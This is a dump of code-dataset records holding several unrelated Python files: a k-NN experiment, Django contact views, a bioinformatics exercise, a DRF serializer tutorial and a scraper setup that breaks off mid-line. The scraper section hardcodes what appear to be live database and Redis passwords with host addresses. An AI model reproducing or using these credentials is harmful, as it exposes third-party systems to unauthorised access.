connection.close()\n print(\"Something went wrong from client\")\n break\n","sub_path":"socket_server.py","file_name":"socket_server.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"295789087","text":"\"\"\"\n\n this is experiment_knn_ed.py\n an experiment to test validation the 1nn + euclidean distance classifier on different data set\n\n\"\"\"\nimport os\n\nfrom classifier.KNNClassifier import KNeighborsClassifier\nfrom tools.output import table2markdown\nfrom utils import data_parser\nfrom utils import distance\nfrom utils import validation\n\nfrom base import OUT_ROOT\nfrom base import UCR_DATA_ROOT\n\ndataset_ = ['50words', 'Adiac', 'Beef', 'Car', 'CBF', 'ChlorineConcentration', 'CinC_ECG_torso', 'Coffee',\n 'DiatomSizeReduction', 'ECG200', 'ECGFiveDays', 'FaceFour', 'FacesUCR', 'FISH', 'Gun_Point',\n 'Haptics', 'InlineSkate', 'ItalyPowerDemand', 'Lighting2', 'Lighting7', 'MALLAT', 'MedicalImages',\n 'MoteStrain', 'OliveOil', 'OSULeaf', 'Plane', 'SonyAIBORobotSurface', 'SonyAIBORobotSurfaceII',\n 'StarLightCurves', 'SwedishLeaf', 'Symbols', 'synthetic_control', 'Trace', 'TwoLeadECG',\n 'Two_Patterns', 'wafer', 'WordsSynonyms', 'yoga']\n\n\nprint(\"=\"*80)\nprint(\"knn + euclidean classification \")\nprint(\"data set: \")\nprint(dataset_)\nprint(\"\\n\")\n\n# check file\nfor name in dataset_:\n file_train = os.path.join(UCR_DATA_ROOT, name, name+'_TRAIN')\n file_test = os.path.join(UCR_DATA_ROOT, name, name+'_TEST')\n if not os.path.exists(file_train):\n print(file_train + \" not exit !!\")\n if not os.path.exists(file_test):\n print(file_test + \" not exit !!\")\n\n\n# parameter\nn_neighbors = 1\nn_jobs = 10\nk_fold = 10\ndistfunc = distance.dist_euclidean\n\n# set up knn classifier\nknn_clf = KNeighborsClassifier(n_neighbors=n_neighbors,\n n_jobs=n_jobs,\n distfunc=distfunc)\n\n\nresult = [['dataset name', 'accuracy']]\nfor name in dataset_:\n file_train = os.path.join(UCR_DATA_ROOT, name, name + '_TRAIN')\n file_test = os.path.join(UCR_DATA_ROOT, name, name + '_TEST')\n X_train, y_train = data_parser.load_ucr(file_train)\n X_test, y_test = data_parser.load_ucr(file_test)\n acc_sum = 0\n for i in range(k_fold):\n knn_clf.fit(X_train, y_train)\n y_pred = knn_clf.predict(X_test)\n acc_sum += validation.cal_accuracy(y_test, y_pred)\n X_train, y_train, X_test, y_test = data_parser.resample_data(X_train, y_train, X_test, y_test)\n\n acc = acc_sum / k_fold\n result.append((name, acc))\n print(name, acc)\n\n\nfile_out = os.path.join(OUT_ROOT, \"%dnn_%dfold_ed.md\" % (n_neighbors, k_fold))\ntable2markdown(file_out, result, description=__doc__)\n\n","sub_path":"seriesclassification/experiment_knn_ed.py","file_name":"experiment_knn_ed.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"301453070","text":"from django.shortcuts import render, HttpResponse, HttpResponseRedirect,redirect\nfrom .models import Person\nfrom .forms import PersonForm\n# Create your views here.\ndef contact_list(request):\n persons = Person.objects.all().order_by('first_name')\n return render(request,'contact/contact_list.html',{'persons':persons})\n\ndef detail(request,contact_id):\n person = Person.objects.get(id = contact_id)\n return render(request,'contact/contact_detail.html',{'persons':person})\n\ndef delete(request, contact_id):\n person = Person.objects.get(id = contact_id)\n print(person)\n person.delete()\n persons = Person.objects.all().order_by('first_name')\n return HttpResponseRedirect(\"/contact\") \n\ndef contact_create_view(request):\n form = PersonForm(request.POST)\n\n if form.is_valid():\n form.save() \n \n return render(request,'contact/contact_create.html',{'form':form})\n\ndef contact_edit(request, contact_id):\n person = Person.objects.get(id= contact_id)\n if request.method == 'POST':\n form = PersonForm(request.POST, instance=person)\n if form.is_valid():\n form.save()\n return redirect('/contact/'+str(person.id))\n else:\n form = PersonForm(instance=person)\n return render(request, 'contact/contact_create.html', {'form': form})\n\n\n","sub_path":"mainproject/contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"234085207","text":"#! usr/bin/env python3\n\nfrom __future__ import division\n\n#To rename an existing file, we simply import the os module, then use the os.rename function\nimport os\n#os.rename(\"old.txt\", \"new.txt\") #This can also be done using filepaths if not working on Jupyter\n\n#Use os.mkdir to create directories. Include the whole filepath to the new folder. If you are creating \n#a bunch of new folders within each other, you can also use os.mkdirs\n #os.mkdir(\"home/erichagen1/Desktop/newfolder\")\n #os.mkdirs(\"home/erichagen1/Desktop/newfolder/garbage/bobdylanisgarbage/yeet\")\n\n#To copy something to a new place, use the shutil module\n #Use .copy for a file:\n #shutil.copy(\"home/erichagen1/Desktop/old.txt\", \"home/erichagen1/Downloads/old.txt\")\n #Use .copytree for a folder:\n #shutil.copytee(\"home/erichagen1/Desktop/oldfolder\", \"home/erichagen1/Desktop/newfolder\")\n \n#You can even test whether a file exists:\n #if os.path.exists(\"home/erichagen/Desktop/old.txt\"):\n #do (something)\n\n#Removing files:\n #Remove a single file:\n #os.remove(\"home/erichagen/Desktop/old.txt\")\n #Remove an empty folder:\n #os.rmdir(\"home/erichagen/Desktop/emptyfolder\")\n #Remove a folder with stuff in it:\n #shutil.rmtree(\"home/erichagen/Desktop/folder_with_stuff\")\n \n#To list the contents of a folder (the period in parentheses gives the contents of the current working directory):\n #for file_name in os.listdir(\".\"):\n #print(\"one file name is \" + file_name)\n#You can also get contents of a different folder:\n #for file_name in os.listdir(\"/home/erichagen1/Desktop\"):\n #print(\"one file name is \" + file_name)\n \n#Running external programs using Python:\nimport subprocess\n #subprocess.call(\"/Applications/myprogram\")\n#If we want to supply command-line options to the external program then we just include them in the string like so:\n #subprocess.call(\"/Applications/myprogram\", shell = True)\n#We can even run an external program and save the output to a variable in Python:\n #The following is an example using the Linux date program:\n #current_month = subprocess.check_output(\"/bin/date +%B\", shell=True)\n \n#To take interactive input from other people using your code, use the \"input\" function:\n #accession = input(\"Enter the accession name\")\n\n#To use command line arguments in our Python scripts, we import the sys module. We can then access the command line \n#arguments by using the special list sys.argv:\nimport sys\n #print(sys.argv)\n \n#To print working directory in python:\ncwd = os.getcwd()\nprint(cwd)\n\nimport shutil, sys\n\n#END-OF-CHAPTER EXERCISES\n\n#Binning DNA sequences\n\n#Write a program which creates nine new folders – one for sequences between 100\n#and 199 bases long, one for sequences between 200 and 299 bases long, etc. Write\n#out each DNA sequence in the input files to a separate file in the appropriate folder.\n\n#Create folders\nos.chdir(\"/Users/erichagen1/Desktop/University_of_Arkansas_Stuff/Spring_2019_Semester/Practical_Programming/Python_Stuff/exercise_9_folder\")\nnumbers = range(1,9)\nfor number in numbers:\n os.mkdir(\"sequences_\" + str(number) + \"00s\")\n\n#Write a function to create multiples of 100\ndef hundredfy(number):\n hundred = number * 100\n return hundred\n\n#Assign files to folders\nnumber = 1\nfor file in os.listdir(\".\"):\n\tif file.endswith(\".dna\"):\n\t\tdna = open(file)\n\t\tfor line in dna:\n\t\t\tsequence = line.rstrip(\"\\n\")\n\t\t\tseq_length = len(sequence)\n\t\t\trange_numbers = range(1,9)\n\t\t\tfor number in range_numbers:\n\t\t\t\tif seq_length >= hundredfy(number) and seq_length < hundredfy(number + 1):\n\t\t\t\t\tfolder = \"sequences_\" + str(number) + \"00s\"\n\t\t\t\t\tpath = folder + \"/\" + str(seq_length) + \".dna\"\n\t\t\t\t\tfile_content = open(path, \"w\")\n\t\t\t\t\tfile_content.write(sequence)\n\t\t\t\t\tfile_content.close()\n\n#Check contents of folders:\nrange_numbers = range(1,9)\nfor number in range_numbers:\n folder = \"sequences_\" + str(number) + \"00s\"\n directory = \"/Users/erichagen1/Desktop/University_of_Arkansas_Stuff/Spring_2019_Semester/Practical_Programming/Python_Stuff/exercise_9_folder/\" + folder\n for file_name in os.listdir(directory):\n print(file_name)\n\n#Kmer counting\n\n#Write a program that will calculate the number of all kmers of a given length across\n#all DNA sequences in the input files and display just the ones that occur more than\n#a given number of times. Your program should take two command line arguments –\n#the kmer length, and the cutoff number.\n\n#Convert command line arguments to variables\nkmer_length = int(sys.argv[1])\ncount_cutoff = int(sys.argv[2])\n\n#Define the function to split dna into kmers:\ndef split_dna(dna, kmer_length):\n\tkmer_list = []\n\tdna_length = len(dna)\n\tfor start in range(0, dna_length - (kmer_length - 1), 1):\n\t\tkmer = dna[start:start + kmer_length]\n\t\tkmer_list.append(kmer)\n\treturn kmer_list\n\n#Code for the task:\nkmer_counts = {}\nrange_numbers = range(1,9)\nfor number in range_numbers:\n\tfolder = \"sequences_\" + str(number) + \"00s\"\n\tpath = \"/Users/erichagen1/Desktop/University_of_Arkansas_Stuff/Spring_2019_Semester/Practical_Programming/Python_Stuff/exercise_9_folder/\" + folder\n\tfor file in os.listdir(\" \"):\n\t\tif file.endswith(\".dna\"):\n\t\t\tdna_file = open(file)\n\t\t\tfor line in dna_file:\n\t\t\t\tdna = line.rstrip(\"\\n\")\n\t\t\t\tfor kmer in split_dna(dna, kmer_length):\n\t\t\t\t\tcurrent_count = kmer_counts.get(kmer, 0)\n\t\t\t\t\tnew_count = current_count + 1\n\t\t\t\t\tkmer_counts[kmer] = new_count\n\n#Print kmers whose counts are above the cutoff\nfor kmer, count in kmer_counts.items():\n\tif count > count_cutoff:\n\t\tprint(kmer + \" : \" + str(count))\n","sub_path":"p4b_ch09.py","file_name":"p4b_ch09.py","file_ext":"py","file_size_in_byte":5599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"22533916","text":"import threading\n\nfrom django.core.mail.message import EmailMultiAlternatives\nfrom django.template.context import Context\nfrom django.template.loader import get_template\n\n\nclass EmailThread(threading.Thread):\n def __init__(self, subject, from_email, recipient_list,\n plaintext_template, html_template, context, fail_silently):\n self.subject = subject\n self.recipient_list = recipient_list\n self.from_email = from_email\n self.fail_silently = fail_silently\n self.html_template = html_template\n self.plaintext_template = plaintext_template\n self.context = context\n threading.Thread.__init__(self)\n\n def run(self):\n # print self.plaintext_template\n #print self.html_template\n plaintext = get_template(self.plaintext_template)\n html = get_template(self.html_template)\n d = Context(self.context)\n subject, from_email, to = self.subject, self.from_email, self.recipient_list\n text_content = plaintext.render(d)\n html_content = html.render(d)\n msg = EmailMultiAlternatives(subject, text_content, from_email, to)\n if self.html_template:\n msg.attach_alternative(html_content, \"text/html\")\n # msg.attach_file('E:/ce/sepas iran 4/sepas_iran/base/static/base/images/sepasIran.png')\n msg.send()\n\n\ndef send_mail(subject, from_email, recipient_list, plaintext_template,\n html_template=None, context=None, fail_silently=False, *args, **kwargs):\n EmailThread(subject, from_email, recipient_list,\n plaintext_template, html_template, context, fail_silently).start()","sub_path":"base/views/send_mail.py","file_name":"send_mail.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"653322862","text":"def add_data_to_mix(path):\n\t\t# \"Adding new data to the mix\" Automatically add new rows to the ImportConfig.xml file\n\t\tassetTag = raw_input(\"Enter Asset Tag: \")\n\t\tprint(\"assetTag\")\n\t\tpstPath = raw_input(\"PST Path: \")\n\t\tprint (\"pstPath\")\n\n\t\ts = open(path).read()\n\t\ts = s.replace('', \n\t\t\t\"\"\"\t\n\t\t \n\t\t \n\t\t \"{}\"\n\t\t \n\t\t \n\t\t\t\"\"\".format(assetTag, pstPath))\n\t\tf = open(\"/Users/nlee/Desktop/TMNA_TEST.xml\", 'w')\n\t\tf.write(s)\n\t\tf.close()\npath = raw_input(\"Enter import config file path: \");\nadd_data_to_mix(path.strip())\n\n\n","sub_path":"add_data_to_mix.py","file_name":"add_data_to_mix.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"14907393","text":"import pandas as pd\n\ndf = pd.read_excel('Enercamp_1.xlsx', sheet_name='Sheet1', index=True)\n\nprint(len(df))\na_lst = []\nfor index, row in df.iterrows():\n if (index < len(df)-1):\n if int(df['배터리량'][index].item()) < int(df['배터리량'][index + 1].item()):\n a_lst.append(1)\n else:\n a_lst.append(2)\n\na_lst.append(0)\ndf[\"Alert\"] = a_lst\nprint(df)\n#print(df)","sub_path":"Cite/12_12/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"247128285","text":"import json\n\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.views import View\n\nfrom book.models import BookInfo\n\n\nclass IndexView(View):\n def get(self, request):\n return HttpResponse('ok')\n\n\n\"\"\"\nRestfull风格的图书管理系统\n\n# 列表视图\n获取所有书籍 GET books/\n新增书籍 POST books/\n\n#详情视图\n获取一本书籍 GET books/id/\n修改一本书籍 PUT books/id/\n删除一本书籍 DELETE books/id/\n\"\"\"\n\n\n# 列表视图\nclass BookView(View):\n # 获取所有书籍\n def get(self, request):\n \"\"\"\n 1.查询所有书籍 []\n 2.将对象列表转换为字典列表\n 3.返回响应\n \"\"\"\n # 1.查询所有书籍 []\n books = BookInfo.objects.all()\n # [BookInfo,BOokInfo,]\n\n # # 2.将对象列表转换为字典列表\n # lists = []\n # for book in books:\n # lists.append({\n # 'id': book.id,\n # 'name': book.name,\n # 'pub_date': book.pub_date,\n # 'readcount': book.readcount\n # })\n #\n # # 3.返回响应\n # return JsonResponse(lists, safe=False)\n\n # 使用序列化器(等价与上面 2.将对象列表转换为字典列表&3.返回响应 的代码)\n serializer = BookInfoSerializer(books,many=True)\n\n return JsonResponse(serializer.data,safe=False)\n\n # 新增书籍\n def post(self, request):\n \"\"\"\n 1.接收数据\n 2.校验数据\n 3.创建对象,保存到数据库\n 4.返回响应\n \"\"\"\n # 1.接收数据\n body = request.body\n body_str = body.decode() # 解码成json类型的字符串\n params = json.loads(body_str) # 将字符串转换为字典\n\n # 2.校验数据(校验省略)\n # 3.创建对象,保存到数据库\n book = BookInfo.objects.create(\n name=params.get('name'),\n pub_date=params.get('pub_date'),\n readcount=params.get('readcount')\n )\n\n # 4.返回响应\n return JsonResponse({\n 'id': book.id,\n 'name': book.name,\n 'pub_date': book.pub_date,\n 'readcount': book.readcount\n })\n\n\n# 详情视图\nclass BookDetailView(View):\n def get(self, request, id):\n \"\"\"\n 1.根据id获取对象\n 2.返回响应\n \"\"\"\n # 1.根据id获取对象\n try:\n book = BookInfo.objects.get(id=id)\n except BookInfo.DoesNotExist:\n # status=400表示:INVALID REQUEST - [POST/PUT/PATCH]:用户发出的请求有错误,服务器没有进行新建或修改数据的操作\n return HttpResponse(status=400)\n\n # 2.返回响应\n return JsonResponse({\n 'id': book.id,\n 'name': book.name,\n 'pub_date': book.pub_date,\n 'readcount': book.readcount\n })\n\n # 修改某一本书籍\n def put(self, request, id):\n \"\"\"\n 1.根据id获取对象\n 2.接收参数\n 3.校验参数\n 4.更新操作\n 5.返回响应\n \"\"\"\n # 1.根据id获取对象\n try:\n book = BookInfo.objects.get(id=id)\n except BookInfo.DoesNotExist:\n return HttpResponse(status=400)\n\n # 2.接收参数\n params = json.loads(request.body.decode())\n\n # 3.校验参数(省略)\n # 4.更新操作\n book.name = params.get('name', book.name)\n book.pub_date = params.get('pub_date', book.pub_date)\n book.readcount = params.get('readcount', book.readcount)\n book.save()\n\n # 5.返回响应\n return JsonResponse({\n 'id': book.id,\n 'name': book.name,\n 'pub_date': book.pub_date,\n 'readcount': book.readcount\n })\n\n def delete(self, request, id):\n \"\"\"\n 1.根据id查询对象\n 2.删除\n 3.返回响应\n \"\"\"\n # 1.根据id查询对象\n try:\n book = BookInfo.objects.get(id=id)\n except BookInfo.DoesNotExist:\n return HttpResponse(status=400)\n\n # 2.删除\n book.delete()\n\n # 3.返回响应\n return HttpResponse(status=204) # NO CONTENT - [DELETE]:用户删除数据成功。\n\n\n\"\"\"\n JSON --> 模型(对象) :反序列化\n 模型(对象) --> JSON(字典) :序列化\n\"\"\"\nfrom rest_framework.viewsets import ModelViewSet\nfrom .serializers import BookModelSerializer\n\n\nclass BookModelViewSet(ModelViewSet):\n serializer_class = BookModelSerializer\n\n queryset = BookInfo.objects.all()\n\n\n############################## 序列化器 ################################\n\nfrom book.models import BookInfo\nfrom book.serializers import BookInfoSerializer\n\n# 1.获取对象\nbook = BookInfo.objects.get(id=1)\n\n# 2.创建序列化器(序列化器可以将对象 转换为 字典)\n# 序列化器的 第一个参数是: instance 实例对象,下面2行代码等价\nserializer = BookInfoSerializer(instance=book)\n# serializer = BookInfoSerializer(book)\n\n# 3.获取字典数据,终端中回车后便可得到结果\nserializer.data\n\n\"\"\"\n终端运行结果:\n(django_py3_1.11) python@ubuntu:~/PycharmProjects/Django code/bookmanager04$ python manage.py shell\nPython 3.5.2 (default, Nov 23 2017, 16:37:01)\n[GCC 5.4.0 20160609] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n(InteractiveConsole)\n>>> from book.models import BookInfo\n>>> from book.serializers import BookInfoSerializer\n>>>\n>>> # 1.获取对象\n>>> book = BookInfo.objects.get(id=1)\n>>> # 2.创建序列化器(序列化器可以将对象 转换为 字典)\n>>> # 序列化器的 第一个参数是: instance 实例对象\n>>> serializer = BookInfoSerializer(instance=book)\n>>>\n>>> # 3.获取字典数据\n>>> serializer.data\n{'readcount': 12, 'id': 1, 'name': '射雕英雄后传', 'is_delete': False, 'commentcount': 34, 'pub_date': '1980-05-01'}\n\n\"\"\"\n\n####################################对象列表##########################################\nfrom book.models import BookInfo\nfrom book.serializers import BookInfoSerializer\n\n#1. 获取对象列表\nbooks = BookInfo.objects.all()\n\n# 2.创建序列化器\n# 如果要被序列化的是包含多条数据的查询集QuerySet,可以通过添加many=True参数补充说明\nserializer = BookInfoSerializer(books,many=True)\n\n#3. 获取转换之后的字典\nserializer.data\n\n# 之后便可以使用 JsonResponse(serializer.data),返回json\n\n\"\"\"\nOrdered Dict 本质是字典,只不过这个字典有顺序,结果如下:\n[\nOrderedDict([('id', 1), ('name', '射雕英雄后传'), ('pub_date', '1980-05-01'), ('readcount', 12), ('commentcount', 34), ('is_delete', False)]),\nOrderedDict([('id', 2), ('name', '天龙八部'), ('pub_date', '1986-07-24'), ('readcount', 36), ('commentt', 40), ('is_delete', False)]),\nOrderedDict([('id', 3), ('name', '笑傲江湖'), ('pub_date', '1995-12-24'), ('readcount',, ('commentcount', 80), ('is_delete', False)]),\nOrderedDict([('id', 4), ('name', '雪山飞狐'), ('pub_date', '1987-11-11')readcount', 58), ('commentcount', 24), ('is_delete', False)])\n]\n\n\"\"\"\n\n\n####################################外键##########################################\n\nfrom book.models import PeopleInfo\nfrom book.serializers import PeopleInfoSerializer\n\n#1.获取对象\nperson = PeopleInfo.objects.get(id=1)\n\n#2.创建序列化器\nserializer = PeopleInfoSerializer(person)\n\n#3.获取字典\nserializer.data\n\n\"\"\"\n{\n'book': OrderedDict([('id', 1), ('name', '射雕英雄后传'), ('pub_date', '1980-05-01'), ('readcount', 12), ('commentcount', 34), ('is_delete', False)]),\n'id': 1,\n'description': '降龙十八掌',\n'gender': 1,\n'name': '郭靖'\n}\n\"\"\"\n\n\n####################################反序列化(JSON,字典 转换为 对象(模型)) 数据的校验#########################################\n\n\"\"\"\n数据的校验有5中形式:\n\n第一种验证:\n 我们的字段的类型 进行校验,我们传递的数据的类型,必须满足 字段的类型要求\n\n第二种验证:\n 字段选项:\n max_length: 字符串的最大长度 char\n min_length: 字符串的最小长度\n max_value: 最大值 int\n min_value: 最小值\n required\t表明该字段在反序列化时必须输入,默认True\n default 默认值\n\n第三种方式: 当我们的类型和选项都满足条件之后,我们需要对单个字段的值进行校验,我们在序列化器中实现方法\n 以 validate_ 开头 以 字段名结尾的函数\n\n def validate_fieldsname(self,value):\n\n return value\n\n\n第四种方式:\n 对多个字段进行校验的时候,我们在序列器中实现\n def validate(self,attrs)\n\n return attrs\n\n第五种方式:\n 自定义验证器\n\n\n\"\"\"\n\n####################################反序列化(JSON,字典 转换为 对象(模型)) 数据的入库#########################################\n\nfrom book.serializers import BookInfoSerializer\n\n# 1.接收数据\ndata = {\n 'name':'python',\n 'pub_date':'2000-1-1',\n # 'pub_date':'20',\n # 'readcount':-1,\n 'readcount':10000,\n 'commentcount':100,\n 'is_delete':0\n}\n\n# 2.对数据进行校验 -- > 序列化器 : 创建序列化器\n# Serializer 的第一个参数是: instance 对象\n# Serializer 的第二个参数是: data 要校验(入库)的数据\nserializer = BookInfoSerializer(data=data)\n\n#需要调用序列化器的 is_valid方法进行校验\n# 如果数据没有问题,则返回True\n# 如果数据有问题,则返回False\n# serializer.is_valid()\n\n# serializer.is_valid()\n# raise_exception 如果有错误则抛出异常\nserializer.is_valid(raise_exception=True)\n\n#3. 入库 调用序列化器的 save方法\nserializer.save()\n\n\"\"\"\n评论量不能大于阅读量的测试结果如下:\n(django_py3_1.11) python@ubuntu:~/PycharmProjects/Django code/bookmanager04$ python manage.py shell\nPython 3.5.2 (default, Nov 23 2017, 16:37:01)\n[GCC 5.4.0 20160609] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n(InteractiveConsole)\n>>> from book.serializers import BookInfoSerializer\n>>>\n>>> # 1.接收数据\n>>> data = {\n... 'name':'python',\n... 'pub_date':'2000-1-1',\n... # 'pub_date':'20',\n... # 'readcount':-1,\n... 'readcount':10,\n... 'commentcount':100,\n... 'is_delete':0\n... }\n>>>\n>>> # 2.对数据进行校验 -- > 序列化器 : 创建序列化器\n>>> # Serializer 的第一个参数是: instance 对象\n>>> # Serializer 的第二个参数是: data 要校验(入库)的数据\n>>> serializer = BookInfoSerializer(data=data)\n>>>\n>>> #需要调用序列化器的 is_valid方法进行校验\n>>> # 如果数据没有问题,则返回True\n>>> # 如果数据有问题,则返回False\n>>> # serializer.is_valid()\n>>>\n>>> # serializer.is_valid()\n>>> # raise_exception 如果有错误则抛出异常\n>>> serializer.is_valid(raise_exception=True)\nTraceback (most recent call last):\n File \"\", line 1, in \n File \"/home/python/.virtualenvs/django_py3_1.11/lib/python3.5/site-packages/rest_framework/serializers.py\", line 244, in is_valid\n raise ValidationError(self.errors)\nrest_framework.exceptions.ValidationError: {'non_field_errors': [ErrorDetail(string='评论量不能大于阅读量', code='invalid')]}\n\"\"\"\n\n\"\"\"\n#3. 入库 调用序列化器的 save方法\n\nserializer.save() 入库的时候出现这个错误:\nNotImplementedError: `create()` must be implemented.\n\n原因在于:\nserializer.save() 继承自serializers.Serializer的序列化器,\n在调用save方法的时候,\n需要手动实现create方法。\n\n(其中serializers.Serializer来自这句话\nfrom book.serializers import BookInfoSerializer,\nBookInfoSerializer的父类便是serializers.Serializer)\n\n\"\"\"\n\n####################################反序列化(JSON,字典 转换为 对象(模型)) 数据的更新#########################################\n\n\nfrom book.serializers import BookInfoSerializer\nfrom book.models import BookInfo\n\nbook = BookInfo.objects.get(id=1)\n\n# 1.接收数据\ndata = {\n 'name':'射雕英雄前传0--之缅怀金庸',\n 'pub_date':'2010-1-1',\n 'readcount':100399,\n 'commentcount':666\n}\n\n# 序列化器 有2个参数:\n# 第一个参数是: instance 对象\n# 第二个参数是: data 校验的数据\n# 如果我们传递了 instance 和 data 2个数据,则系统认为我们在进行 更新操作\nserializer = BookInfoSerializer(instance=book,data=data)\n\n# 调用save之前 ,必须调用 is_valid\nserializer.is_valid(raise_exception=True)\n\n# 保存(更新)一下 都是调用 save方法\nserializer.save()\n\n\"\"\"\n\n出现这个错误:\nNotImplementedError: `update()` must be implemented.\n\n原因在于:\nserializer.save() 继承自serializers.Serializer的序列化器,\n在进行更新操作,调用save方法的时候,\n需要手动实现update方法。\n\n\"\"\"\n\"\"\"\ncreate方法和update方法对比:\n如果创建序列化器对象的时候,没有传递instance实例,则调用save()方法的时候,create()被调用,\n相反,\n如果传递了instance实例,则调用save()方法的时候,update()被调用。\n\n另外\n两点说明:\n1) 在对序列化器进行save()保存时,可以额外传递数据,这些数据可以在create()和update()中的validated_data参数获取到\n\nserializer.save(owner=request.user)\n2)默认序列化器必须传递所有required的字段,否则会抛出验证异常。但是我们可以使用partial参数来允许部分字段更新\n\nserializer = BookInfoSerializer(instance=book, data={'pub_date': '2999-1-1'}, partial=True)\n\n\"\"\"\n\n\n####################################ModelSerialzier#########################################\n\n\nfrom book.serializers import BookModelSerializer\nfrom book.models import BookInfo\n# 将对象转换为字典\nbook = BookInfo.objects.get(id=1)\n# 将字典 进行验证,之后保存入库\n\ns = BookModelSerializer(book)\n\ns.data\n\n\ndata = {\n 'name':'听说下雨天吃巧克力更配哦',\n 'pub_date':'2010-1-1',\n 'readcount':100399,\n 'commentcount':666\n}\n\ns = BookModelSerializer(data=data)\n\ns.is_valid()\n# 保存前 必须调用 is_valid() 方法\ns.save()\n\n\n\nfrom rest_framework.views import APIView\nfrom rest_framework.mixins import CreateModelMixin,ListModelMixin,RetrieveModelMixin,UpdateModelMixin,DestroyModelMixin\n\nclass CenterView(APIView):\n\n def get(self,request):\n\n return HttpResponse('get')\n\n def post(self,request):\n\n return HttpResponse('post')","sub_path":"book/views-Django原生的Restfull.py","file_name":"views-Django原生的Restfull.py","file_ext":"py","file_size_in_byte":14738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"546268627","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/08/05\n# @Author : coolchen\n\nimport datetime\nimport json\nimport logging\nimport os\nimport platform\nimport random\nimport re\nimport smtplib\nimport time\nfrom email.mime.text import MIMEText\nimport pymysql\nimport redis\nimport requests\nfrom fake_useragent import UserAgent\nimport chardet\nfrom sqlalchemy import create_engine\nimport sqlalchemy\nimport pandas as pd\nimport sys,io\n\n#告警邮件功能\nmsg_from = '' # 发送方邮箱\npasswd = '' # 填入发送方邮箱的授权码\nmsg_to = '' # 收件人邮箱\ndef smt(content):\n subject = \"高德根据更换key值失败\" # 主题\n content = content # 正文\n msg = MIMEText(content)\n msg['Subject'] = subject\n msg['From'] = msg_from\n msg['To'] = msg_to\n try:\n s = smtplib.SMTP_SSL(\"smtp.qq.com\", 465) # 邮件服务器及端口号\n s.login(msg_from, passwd)\n s.sendmail(msg_from, msg_to, msg.as_string())\n print(\"发送成功\")\n except:\n pass\n\n# logging的设置\n# 第一步,创建一个logger\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO) # Log等级总开关\n# 第二步,创建一个handler,用于写入日志文件\nrq = time.strftime('%Y%m%d', time.localtime(time.time()))\n# log_path = os.path.dirname(os.getcwd()) + '/irobotbox/Logs/'\n# log_name = log_path + '.log'\n# logfile = log_name\n# fh = logging.FileHandler(logfile, mode='w+')\n# fh.setLevel(logging.DEBUG) # 输出到file的log等级的开关\n# # 第三步,定义handler的输出格式\n# formatter = logging.Formatter(\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\")\n# fh.setFormatter(formatter)\n# # 第四步,将logger添加到handler里面\n# logger.addHandler(fh)\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')\nuser_name = \"root\"\nuser_password = \"Biadmin@123\"\ndatabase_ip = \"10.0.1.73:3306\"\ndatabase_name = \"amazon_bdata\"\ndatabase_all = \"mysql+pymysql://\" + user_name + \":\" + user_password + \"@\" + database_ip + \\\n\"/\" + database_name + \"?charset=utf8mb4\"\nengine = create_engine(database_all)\n\ndef encod(file):\n f = open(file, 'rb')\n f_charInfo = chardet.detect(f.read())\n encode = f_charInfo['encoding']\n return encode\n\n# redis的队列设置\ndbnum = 15\nredis_conn = redis.Redis(host='127.0.0.1', port=6379, db=dbnum, encoding='utf-8', decode_responses=True)\n# redis_conn = redis.Redis(host='47.115.181.162', port=6379, password='123456', db=dbnum, encoding='utf-8',decode_responses=True)\n# redis_conn = redis.Redis(host='10.0.1.201', port=6379, password='iA7gahY7l', db=dbnum, encoding='utf-8',decode_responses=True)\n\n\nredis_name = 'irobotbox'\nredis_all_city = '{}:all_city'.format(redis_name)\nredis_task = '{}:task'.format(redis_name)\nredis_task_backup = '{}:backup_task'.format(redis_name)\n\nredis_task2 = '{}:task2'.format(redis_name)\nredis_task2_backup = '{}:backup_task2'.format(redis_name)\n\nredis_downloadurl = '{}:downloadurl'.format(redis_name)\nredis_downloadurl_backup = '{}:downloadurl_backup'.format(redis_name)\nredis_downloadurl_error = '{}:downloadurl_error'.format(redis_name)\nredis_result = '{}:result'.format(redis_name)\nredis_error = '{}:error'.format(redis_name)\nredis_failure_point = '{}:failure_point'.format(redis_name)\n\n#来源表\n# conn2 = pymysql.connect(host='rm-wz9bd2h2i9846lv92to.mysql.rds.aliyuncs.com',\n# port=3306,\n# user='spider_user',\n# password='K845CTp8',\n# db='apidb',\n# charset='utf8')\n\n# 结果表\nresult_conn = pymysql.connect(host='10.0.1.73',\n port=3306,\n user='root',\n password='Biadmin@123',\n db='amazon_bdata',\n charset='utf8')\nconn = result_conn\n\n# mysql--spider\n# self.conn1 = pymysql.connect(host='218.17.184.119',\n# port=33306,\n# user='spider',\n# password='aJX4$vQOgdrUJ$u0',\n# db='spider_db',\n# charset='utf8')\n# # mysql--aliyun\n# self.conn2 = pymysql.connect(host='rm-wz9bd2h2i9846lv92to.mysql.rds.aliyuncs.com',\n# port=3306,\n# user='spider_user',\n# password='K845CTp8',\n# db='datav',\n# charset='utf8')\n# # mysql--10.0.2.108\n# self.conn3 = pymysql.connect(host='10.0.2.108',\n# port=3306,\n# user='ops',\n# 